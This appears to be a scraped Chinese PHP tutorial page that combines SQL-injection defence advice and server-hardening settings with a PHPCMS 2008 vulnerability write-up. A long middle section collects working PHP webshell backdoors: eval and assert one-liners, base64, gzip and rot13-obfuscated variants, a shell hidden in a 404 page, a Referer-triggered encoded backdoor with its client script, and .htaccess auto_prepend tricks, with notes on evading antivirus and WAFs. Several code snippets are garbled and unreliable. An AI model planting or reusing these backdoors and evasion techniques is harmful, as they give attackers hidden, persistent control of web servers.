php mysql_real_escape_string防sql注入详解

 更新时间:2016年11月25日 15:23  点击:1443
防sql注入是我们程序开发时必须要做的一步了,下面我来给大家介绍在php与mysql开发中使用mysql_real_escape_string防sql注入的一些方法介绍。

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。下列字符受影响:

 代码如下 复制代码
x00
n
r

'
"
x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

易利用下面的这个函数,就可以有效过滤了。

 代码如下 复制代码

function safe($s){ //安全过滤函数
if(get_magic_quotes_gpc()){ $s=stripslashes($s); }
$s=mysql_real_escape_string($s);
return $s;
}

或者在conn公共连接文件里加入,这样就无需修改代码了:

 代码如下 复制代码

if(get_magic_quotes_gpc()) {
$_REQUEST = array_map( 'stripslashes', $_REQUEST); }
$_REQUEST = array_map( 'mysql_real_escape_string', $_REQUEST);


mysql_real_escape_string防sql注入只是防一些最基本的了,如果需要更强大的防sql注入我可参考下面方法

首先是对服务器的安全设置,这里主要是php+mysql的安全设置和linux主机的安全设置。对php+mysql注射的防范,首先将magic_quotes_gpc设置为On,display_errors设置为Off,如果id型,我们利用intval()将其转换成整数类型,如代码:

 代码如下 复制代码
$id=intval($id);
mysql_query=”select *from example where articieid=’$id’”;或者这样写:mysql_query(”SELECT * FROM article WHERE articleid=”.intval($id).”")

如果是字符型就用addslashes()过滤一下,然后再过滤”%”和”_”如:

 代码如下 复制代码
$search=addslashes($search);
$search=str_replace(“_”,”_”,$search);
$search=str_replace(“%”,”%”,$search);

当然也可以加php通用防注入代码:
/*************************
PHP通用防注入安全代码
说明:
判断传递的变量中是否含有非法字符
如$_POST、$_GET
功能:
防注入

 代码如下 复制代码
**************************/
//要过滤的非法字符
$ArrFiltrate=array(”‘”,”;”,”union”);
//出错后要跳转的url,不填则默认前一页
$StrGoUrl=”";
//是否存在数组中的值
function FunStringExist($StrFiltrate,$ArrFiltrate){
foreach ($ArrFiltrate as $key=>$value){
if (eregi($value,$StrFiltrate)){
return true;
}
}
return false;
}
//合并$_POST 和 $_GET
if(function_exists(array_merge)){
$ArrPostAndGet=array_merge($HTTP_POST_VARS,$HTTP_GET_VARS);
}else{
foreach($HTTP_POST_VARS as $key=>$value){
$ArrPostAndGet[]=$value;
}
foreach($HTTP_GET_VARS as $key=>$value){
$ArrPostAndGet[]=$value;
}
}
//验证开始
foreach($ArrPostAndGet as $key=>$value){
if (FunStringExist($value,$ArrFiltrate)){
echo “alert(/”Neeao提示,非法字符/”);”;
if (empty($StrGoUrl)){
echo “history.go(-1);”;
}else{
echo “window.location=/”".$StrGoUrl.”/”;”;
}
exit;
}
}
?>

/*************************
保存为checkpostandget.php
然后在每个php文件前加include(“checkpostandget.php“);即可
**************************/

另外将管理员用户名和密码都采取md5加密,这样就能有效地防止了php的注入。
还有服务器和mysql也要加强一些安全防范。
对于linux服务器的安全设置:
加密口令,使用“/usr/sbin/authconfig”工具打开密码的shadow功能,对password进行加密。
禁止访问重要文件,进入linux命令界面,在提示符下输入:
#chmod 600 /etc/inetd.conf //改变文件属性为600
#chattr +I   /etc/inetd.conf     //保证文件属主为root
#chattr –I   /etc/inetd.conf     // 对该文件的改变做限制
禁止任何用户通过su命令改变为root用户
在su配置文件即/etc/pam.d/目录下的开头添加下面两行:
Auth   sufficient   /lib/security/pam_rootok.so debug
Auth   required   /lib/security/pam_whell.so group=wheel
删除所有的特殊帐户
#userdel   lp等等 删除用户
#groupdel lp等等 删除组
禁止不使用的suid/sgid程序
#find / -type f (-perm -04000   - o –perm -02000 ) -execls –lg {} ;

php中防注入有两种一种是sql防注入,另一种上像很多cms一样的过程所有提交过来的变量,还有一种是可以直接配置php.ini,下面我分别给大家介绍介绍。

1.将safe.func.php传到要包含的文件的目录

2.在页面中加入防护,有两种做法,根据情况二选一即可:

a).在所需要防护的页面加入代码

require_once('safe.func.php');
就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once('safe.func.php');来调用本代码

safe.func.php 代码如下:

 代码如下 复制代码

<?php
/**
 * 防注入
 *
 * "<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
 */

function safe_custom_error($errno, $errstr, $errfile, $errline) {
 echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
 die();
}


set_error_handler("safe_custom_error", E_ERROR);

function safe_stop_attack($k, $v, $method=0) {
 $filter = array(
  "'|(and|or).+?(>|<|=|in|like)|/*.+?*/|<s*script|EXEC|UNION.+?SELECT|UPDATE.+?SET|INSERTs+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)s+(TABLE|DATABASE)",//get
  "(and|or).{1,6}?(=|>|<|in|like)|/*.+?*/|<s*script|EXEC|UNION.+?SELECT|UPDATE.+?SET|INSERTs+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)s+(TABLE|DATABASE)"//post, cookie
 );

 $filter = isset($filter[$method]) ? $filter[$method] : $filter[0];
 
 if(is_array($v)) {
  $v = implode($v);
 }
 if (preg_match("/" . $filter . "/is", $v) == 1) {
        exit("本次操作已记录。请不要继续非法操作。");
 }
}

if (isset($_GET)) {
 foreach($_GET as $k => $v) safe_stop_attack($k, $v, 0);
}
if (isset($_POST)) {
 foreach($_POST as $k => $v) safe_stop_attack($k, $v, 1);
}
if (isset($_COOKIE)) {
 foreach($_COOKIE as $k => $v) safe_stop_attack($k, $v, 1);
}

上面更适合防sql注入

 代码如下 复制代码

<?php
/* 过滤所有GET过来变量 */
foreach ($_GET as $get_key=>$get_var)
{
if (is_numeric($get_var)) {
$get[strtolower($get_key)] = get_int($get_var);
} else {
$get[strtolower($get_key)] = get_str($get_var);
}
}
/* 过滤所有POST过来的变量 */
foreach ($_POST as $post_key=>$post_var)
{
 if (is_numeric($post_var))
 {
  $post[strtolower($post_key)] = get_int($post_var);
 }
 else
 {
  $post[strtolower($post_key)] = get_str($post_var);
 }
}
/* 过滤函数 */
//整型过滤函数
function get_int($number)
{
 return intval($number);
}
//字符串型过滤函数
function get_str($string)
{
 if (!get_magic_quotes_gpc())
 {
  return addslashes($string);
 }
 return $string;
}
?>

除了直接在php中防注入我们还可以配置php.ini文件

。我们先使用任何编辑工具打开  /usr/local/php/etc/php.ini,如果你是采用其他方式安装,配置文件可能不在该目录。  

 (1) 打开php的安全模式  php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(),

  同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的文件,比如/etc/passwd,
  但是默认的php.ini是没有打开安全模式的,我们把它打开:
  safe_mode = on


  (2) 用户组安全


  当safe_mode打开时,safe_mode_gid被关闭,那么php脚本能够对文件进行访问,而且相同
  组的用户也能够对文件进行访问。
  建议设置为:


  safe_mode_gid = off  如果不进行设置,可能我们无法对我们服务器网站目录下的文件进行操作了,比如我们需要
  对文件进行操作的时候。


  (3) 安全模式下执行程序主目录


  如果安全模式打开了,但是却是要执行某些程序的时候,可以指定要执行程序的主目录:


  safe_mode_exec_dir = D:/usr/bin


  一般情况下是不需要执行什么程序的,所以推荐不要执行系统程序目录,可以指向一个目录,
  然后把需要执行的程序拷贝过去,比如:


  safe_mode_exec_dir = D:/tmp/cmd


  但是,我更推荐不要执行任何程序,那么就可以指向我们网页目录:


  safe_mode_exec_dir = D:/usr/www


  (4) 安全模式下包含文件


  如果要在安全模式下包含某些公共文件,那么就修改一下选项:


  safe_mode_include_dir = D:/usr/www/include/  其实一般php脚本中包含文件都是在程序自己已经写好了,这个可以根据具体需要设置。


  (5) 控制php脚本能访问的目录


  使用open_basedir选项能够控制PHP脚本只能访问指定的目录,这样能够避免PHP脚本访问
  不应该访问的文件,一定程度上限制了phpshell的危害,我们一般可以设置为只能访问网站目录:


  open_basedir = D:/usr/www


  (6) 关闭危险函数


  如果打开了安全模式,那么函数禁止是可以不需要的,但是我们为了安全还是考虑进去。比如,
  我们觉得不希望执行包括system()等在那的能够执行命令的php函数,或者能够查看php信息的
  phpinfo()等函数,那么我们就可以禁止它们:


  disable_functions = system,passthru,exec,shell_exec,popen,phpinfo  如果你要禁止任何文件和目录的操作,那么可以关闭很多文件操作


  disable_functions = chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir,   rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown


  以上只是列了部分不叫常用的文件处理函数,你也可以把上面执行命令函数和这个函数结合,
  就能够抵制大部分的phpshell了。


  (7) 关闭PHP版本信息在http头中的泄漏


  我们为了防止黑客获取服务器中php版本的信息,可以关闭该信息斜路在http头中:


  expose_php = Off  比如黑客在 telnet www.12345.com 80 的时候,那么将无法看到PHP的信息。


  (8) 关闭注册全局变量


  在PHP中提交的变量,包括使用POST或者GET提交的变量,都将自动注册为全局变量,能够直接访问,
  这是对服务器非常不安全的,所以我们不能让它注册为全局变量,就把注册全局变量选项关闭:
  register_globals = Off
  当然,如果这样设置了,那么获取对应变量的时候就要采用合理方式,比如获取GET提交的变量var,
  那么就要用$_GET['var']来进行获取,这个php程序员要注意。


  (9) 打开magic_quotes_gpc来防止SQL注入


  SQL注入是非常危险的问题,小则网站后台被入侵,重则整个服务器沦陷,


  所以一定要小心。php.ini中有一个设置:


  magic_quotes_gpc = Off


  这个默认是关闭的,如果它打开后将自动把用户提交对sql的查询进行转换,
  比如把 ‘ 转为 ’等,这对防止sql注射有重大作用。所以我们推荐设置为:


  magic_quotes_gpc = On


  (10) 错误信息控制


  一般php在没有连接到数据库或者其他情况下会有提示错误,一般错误信息中会包含php脚本当
  前的路径信息或者查询的SQL语句等信息,这类信息提供给黑客后,是不安全的,所以一般服务器建议禁止错误提示:


  display_errors = Off  如果你却是是要显示错误信息,一定要设置显示错误的级别,比如只显示警告以上的信息:


  error_reporting = E_WARNING & E_ERROR  当然,我还是建议关闭错误提示。


  (11) 错误日志


  建议在关闭display_errors后能够把错误信息记录下来,便于查找服务器运行的原因:


  log_errors = On  同时也要设置错误日志存放的目录,建议根apache的日志存在一起:


  error_log = D:/usr/local/apache2/logs/php_error.log  注意:给文件必须允许apache用户的和组具有写的权限。

本文章来给大家介绍PHPCMS 2008 最新漏洞图文测试详解,有需要了解的同学可进入参考参考。

Phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。Phpcms 采用模块化方式开发,功能易用便于扩展,可面向大中型站点提供重量级网站建设解决方案。3年来,凭借 Phpcms 团队长期积累的丰富的Web开发及数据库经验和勇于创新追求完美的设计理念,使得 Phpcms 得到了近10万网站的认可,并且越来越多地被应用到大中型商业网站。

0x02 写在前面的话
phpcms 2008 这是我看第二次代码了,之前已经发现了一些问题,只是没放出来,这次稍微仔细看了看,又发现了一些问题
这次就放2个吧,其中啥啥的getshell暂时就不会放了,比起v9来说,2008的安全性能确实差很多,模块化以及代码严谨程度也没有v9强
这次还没把代码看完,只看完几个页面,就先放2个有问题的地方,如果有更好的方式,到时候一起讨论
0x03 路径? ? ?
在include/common.inc.php中 ,这是phpcms的全局要加载的配置文件
$dbclass = 'db_'.DB_DATABASE;
require $dbclass.'.class.php';
           
$db = new $dbclass;
$db->connect(DB_HOST, DB_USER, DB_PW, DB_NAME, DB_PCONNECT, DB_CHARSET);
           
require 'session_'.SESSION_STORAGE.'.class.php';
$session = new session();
session_set_cookie_params(0, COOKIE_PATH, COOKIE_DOMAIN);
           
if($_REQUEST)
{
    if(MAGIC_QUOTES_GPC)
    {
        $_REQUEST = new_stripslashes($_REQUEST);
        if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
        extract($db->escape($_REQUEST), EXTR_SKIP);
    }
    else
    {
        $_POST = $db->escape($_POST);
        $_GET = $db->escape($_GET);
        $_COOKIE = $db->escape($_COOKIE);
        @extract($_POST,EXTR_SKIP);
        @extract($_GET,EXTR_SKIP);
        @extract($_COOKIE,EXTR_SKIP);
    }
    if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
    if($_COOKIE) $db->escape($_COOKIE);
}
//echo QUERY_STRING;
if(QUERY_STRING && strpos(QUERY_STRING, '=') === false && preg_match("/^(.*).(htm|html|shtm|shtml)$/", QUERY_STRING, $urlvar))
{
    //var_dump($urlvar[1]);
    //echo 'test';
    parse_str(str_replace(array('/', '-', ' '), array('&', '=', ''), $urlvar[1]));
               
}
这里的话首先实例化了这个数据库,产生了一个$db资源句柄,他是用来操作数据库的
然后就是将我们传进来的参数进行变量化
这里有一些小过滤,自己可以看,所以这里传进来的参数就作为了变量
但是接下来这行呢?
if(QUERY_STRING && strpos(QUERY_STRING, '=') === false && preg_match("/^(.*).(htm|html|shtm|shtml)$/", QUERY_STRING, $urlvar))
{
    //var_dump($urlvar[1]);
    //echo 'test';
    parse_str(str_replace(array('/', '-', ' '), array('&', '=', ''), $urlvar[1]));
 
}
看看这里?
这里的QUERY_STRING来自前面
define('HTTP_REFERER', isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');
define('SCRIPT_NAME', isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : preg_replace("/(.*).php(.*)/i", "\1.php", $_SERVER['PHP_SELF']));
define('QUERY_STRING', safe_replace($_SERVER['QUERY_STRING']));
这里有个过滤,但是不影响
如果我们在这里进行覆盖这个db变量呢
因为这里 parse_str(str_replace(array('/', '-', ' '), array('&', '=', ''), $urlvar[1]));
可以将我们传进去的/ - 进行替换
所以我们如果提交如下字符
http://localhost/phpcms/index.php?db-5/gid-xd.html
他由于这个db被覆盖就会出错,所以物理路径就爆出来了
phpcms漏洞
0x04 SQL注入!!!
在c.php中
$db->query("UPDATE ".DB_PRE."ads SET `clicks`=clicks+1 WHERE adsid=".$ads['adsid']);
$info['username'] = $_username;
$info['clicktime'] = time();
$info['ip'] = IP;
$info['adsid'] = $id;
$info['referer'] = HTTP_REFERER;
$year = date('ym',TIME);
$table = DB_PRE.'ads_'.$year;
$table_status = $db->table_status($table);
//echo 'test';
if(!$table_status) {
    include MOD_ROOT.'include/create.table.php';
}
$db->insert($table, $info);
注意这里的HTTP_REFERER这个常量
这里的常量是通过前面的common.inc.php定义好的
define('HTTP_REFERER', isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');
没有经过任何过滤操作,所以你懂的,我估计很多同学已经发现了,只是没去公布了,所以俺就替你们xxoo了,哈哈...别骂我
然后
$db->insert($table, $info);
我们来看一下它这里的操作
function insert($tablename, $array)
{
    $this->check_fields($tablename, $array);
    return $this->query("INSERT INTO `$tablename`(`".implode('`,`', array_keys($array))."`) VALUES('".implode("','", $array)."')");
    //echo "INSERT INTO `$tablename`(`".implode('`,`', array_keys($array))."`) VALUES('".implode("','", $array)."')";
}
所以你懂的
phpcms漏洞
说起php后门木马我就心有愉季啊,前不久一个站就因不小心给人注入了,然后写入了小木马,这样结果大家知道的我就不说了,下面我来给大家收集了各种php后门木马做法,大家可参考。

php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢?
本文为您浅析说明一些php后门木马常用的函数。

php后门木马常用的函数大致上可分为四种类型:

1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

1. 执行系统命令:

system 函数

//test.php?cmd=ls
system($_GET[cmd]);

passthru 函数

//test.php?cmd=ls
passthru($_GET[cmd]);

shell_exec 函数

//test.php?cmd=ls
echo shell_exec($_GET[cmd]);

exec 函数

//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);

popen 函数

//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);

proc_open 函数

//test.php?cmd=ls
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
);
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"n"));
print_r($output);

2. 代码执行与加密:

eval 函数

//最常见的一句话木马
eval_r($_POST[cmd]);

base64_decode 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST['cmd']);
eval_r(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST['cmd']);
eval_r(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST['cmd']);
eval_r(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST['cmd']);
eval_r(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST[cmd]);
eval_r(str_rot13('riny($_CBFG[pzq]);'));

assert 函数

//类似eval函数
assert($_POST[cmd]);

call_user_func 函数

//使用call_user_func调用assert
call_user_func('assert',$_POST[cmd]);

call_user_func 函数

//使用call_user_func调用任意函数
//test.php?a=assert&cmd=phpinfo()
call_user_func($_GET[a],$_REQUEST[cmd]);

组合代码

//组合方式调用任意函数
//test.php?a=assert&cmd=phpinfo()
$_GET[a]($_REQUEST[cmd]);

3. 文件包含与生成:

require 函数

//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);

require_once 函数

//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);

include 函数

//包含任意文件
//test.php?file=123.jpg
include($_GET[file]);

include_once 函数

//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);

file_get_contents 函数

//读取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);

file_put_contents 函数

//生成任意内容文件
//a=test.php&b=
file_put_contents($_GET[a],$_GET[b]);

fputs 函数

//生成任意内容文件
//a=test.php&b=
fputs(fopen($_GET[a],"w"),$_GET[b]);

4. .htaccess:

SetHandler

//可将php代码存于非php后缀文件,例: x.jpg
//将以下代码写入.htaccess中
//连接x.jpg即可启动后门木马

SetHandler application/x-httpd-php

auto_prepend_file

//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
//可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马
php_value auto_prepend_file c:/apache2/htdocs/123.gif

auto_append_file

//类似auto_prepend_file
//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
php_value auto_append_file c:/apache2/htdocs/123.gif


利用404页面隐藏PHP小马

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话

<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace(''a'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION['theCode']))','a');
将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。

超级隐蔽的PHP后门

<?php $_GET[a]($_GET[b]);?>
仅用GET函数就构成了木马;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%    29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

层级请求,编码运行PHP后门
此方法用两个文件实现,文件1

<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
文件2

<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
    CURLOPT_URL => $url,
    CURLOPT_HEADER => FALSE,
    CURLOPT_RETURNTRANSFER => TRUE,
    CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

PHP后门生成工具weevely
weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

以上是大概介绍下边是截图,相关使用方法亦家就不在这介绍了,简单的科普一下。

 

三个变形的一句话PHP木马
第一个

<?php ($_=@$_GET[2]).@$_($_POST[1])?>
在菜刀里写http://site/1.php?2=assert密码是1

第二个

<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。
如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。

第三个

($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13('riny')即编码后的eval,完全避开了关键字,又不失效果,让人吐血!

.htaccess做PHP后门
这个其实在2007年的时候作者GaRY就爆出了,只是后边没人关注,这个利用关键点在于一句话:

AddType application/x-httpd-php .htaccess
###### SHELL ###### 这里写上你的后门吧###### LLEHS ######
最后列几个高级的PHP一句话木马后门

1、
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
2、
$filename=$_GET['xbid'];
include ($filename);
//危险的include函数,直接编译任何文件为php格式运行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、include ($uid);
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话
6、典型一句话
程序后门代码
<?php eval_r($_POST[sb])?>
程序代码
<?php @eval_r($_POST[sb])?>
//容错代码
程序代码
<?php assert($_POST[sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
<O>h=@eval_r($_POST[c]);</O>
程序代码
<script language="php">@eval_r($_POST[sb])</script>
//绕过<?限制的一句话
综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!

前几天网站给人注入了,现在我给大家来介绍php防止sql注入的几个自带的处理函数,例如PHP的MySQL操作函数中有addslashes()、mysql_real_escape_string()、mysql_escape_string()等函数

具体用法

addslashes防止SQL注入

虽然国内很多PHP程序员仍在依靠addslashes防止SQL注入,还是建议大家加强中文防止SQL注入的检查。addslashes的问题在 于黑客 可以用0xbf27来代替单引号,而addslashes只是将0xbf27修改为0xbf5c27,成为一个有效的多字节字符,其中的0xbf5c仍会 被看作是单引号,所以addslashes无法成功拦截。
当然addslashes也不是毫无用处,它是用于单字节字符串的处理,多字节字符还是用mysql_real_escape_string吧。
另外对于php手册中get_magic_quotes_gpc的

举例:

 代码如下 复制代码


<?php      
    function post_check($post)    
    {    
    if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否为打开    
    {    
    $post = addslashes($post); // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤    
    }    
    $post = str_replace("_", "_", $post); // 把 '_'过滤掉    
    $post = str_replace("%", "%", $post); // 把' % '过滤掉    
    $post = nl2br($post); // 回车转换    
    $post= htmlspecialchars($post); // html标记转换        
    return $post;    
    }    
    ?>

 <?php          
    function inject_check($sql_str)    
    {    
    return eregi('select|insert|update|delete|'|    
    function verify_id($id=null)    
    {    
    if (!$id) { exit('没有提交参数!'); } // 是否为空判断    
    elseif (inject_check($id)) { exit('提交的参数非法!'); } // 注射判断    
    elseif (!is_numeric($id)) { exit('提交的参数非法!'); } // 数字判断    
    $id = intval($id); // 整型化         
    return $id;    
    }    
    ?>


string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
本函数将 unescaped_string 中的特殊字符转义,并计及连接的当前字符集,因此可以安全用于 mysql_query()。

Note: mysql_real_escape_string() 并不转义 % 和 _。


mysql_real_escape_string


Example#1 mysql_real_escape_string() 例子

 代码如下 复制代码

<?php
$item  =  "Zak's and Derick's Laptop" ;
$escaped_item  =  mysql_real_escape_string ( $item );
printf  ( "Escaped string: %sn" ,  $escaped_item );
?>

以上例子将产生如下输出:

Escaped string: Zak's and Derick's Laptop


mysql_escape_string


本函数将 unescaped_string 转义,使之可以安全用于 mysql_query()。

注: mysql_escape_string() 并不转义 % 和 _。
本函数和 mysql_real_escape_string() 完全一样,除了 mysql_real_escape_string() 接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string() 并不接受连接参数,也不管当前字符集设定。

例子 1. mysql_escape_string() 例子

 代码如下 复制代码

<?php
$item = "Zak's Laptop";
$escaped_item = mysql_escape_string($item);
printf ("Escaped string: %sn", $escaped_item);
?>
输出:
Escaped string: Zak's Laptop


mysql_real_escape_string和mysql_escape_string这2个函数的区别:
mysql_real_escape_string 必须在(PHP 4 >= 4.3.0, PHP 5)的情况下才能使用。否则只能用 mysql_escape_string ,两者的区别是:mysql_real_escape_string 考虑到连接的当前字符集,而mysql_escape_string 不考虑。

我们可以利用判断来综合处理

 

 代码如下 复制代码
function cleanuserinput($dirty){
 if (get_magic_quotes_gpc()) {
  $clean = mysql_real_escape_string(stripslashes($dirty)); 
 }else{
  $clean = mysql_real_escape_string($dirty); 
 }
 return $clean;
}

总结一下:

* addslashes() 是强行加;
* mysql_real_escape_string() 会判断字符集,但是对PHP版本有要求;
* mysql_escape_string不考虑连接的当前字符集。

[!--infotagslink--]

相关文章

  • phpems SQL注入(cookies)分析研究

    PHPEMS(PHP Exam Management System)在线模拟考试系统基于PHP+Mysql开发,主要用于搭建模拟考试平台,支持多种题型和展现方式,是国内首款支持题冒题和自动评分与教师评分相...2016-11-25
  • ASP/PHP sql注入语句整理大全

    SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作 标准注入语句1.判...2016-11-25
  • PHP防止SQL注入的例子

    防止SQL注入是我们程序开发人员必须要做的事情了,今天我们就来看一篇关于PHP防止SQL注入的例子了,具体的实现防过滤语句可以参考下面来看看吧。 使用prepared以及参...2016-11-25
  • 详解C++ string常用截取字符串方法

    这篇文章主要介绍了C++ string常用截取字符串方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-04-25
  • mybatis 返回Integer,Double,String等类型的数据操作

    这篇文章主要介绍了mybatis 返回Integer,Double,String等类型的数据操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-11-25
  • 浅谈C++中的string 类型占几个字节

    本篇文章小编并不是为大家讲解string类型的用法,而是讲解我个人比较好奇的问题,就是string 类型占几个字节...2020-04-25
  • 【C#基础】Substring截取字符串的方法小结(推荐)

    这篇文章主要介绍了Substring截取字符串方法小结,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-06-25
  • java中String类型变量的赋值问题介绍

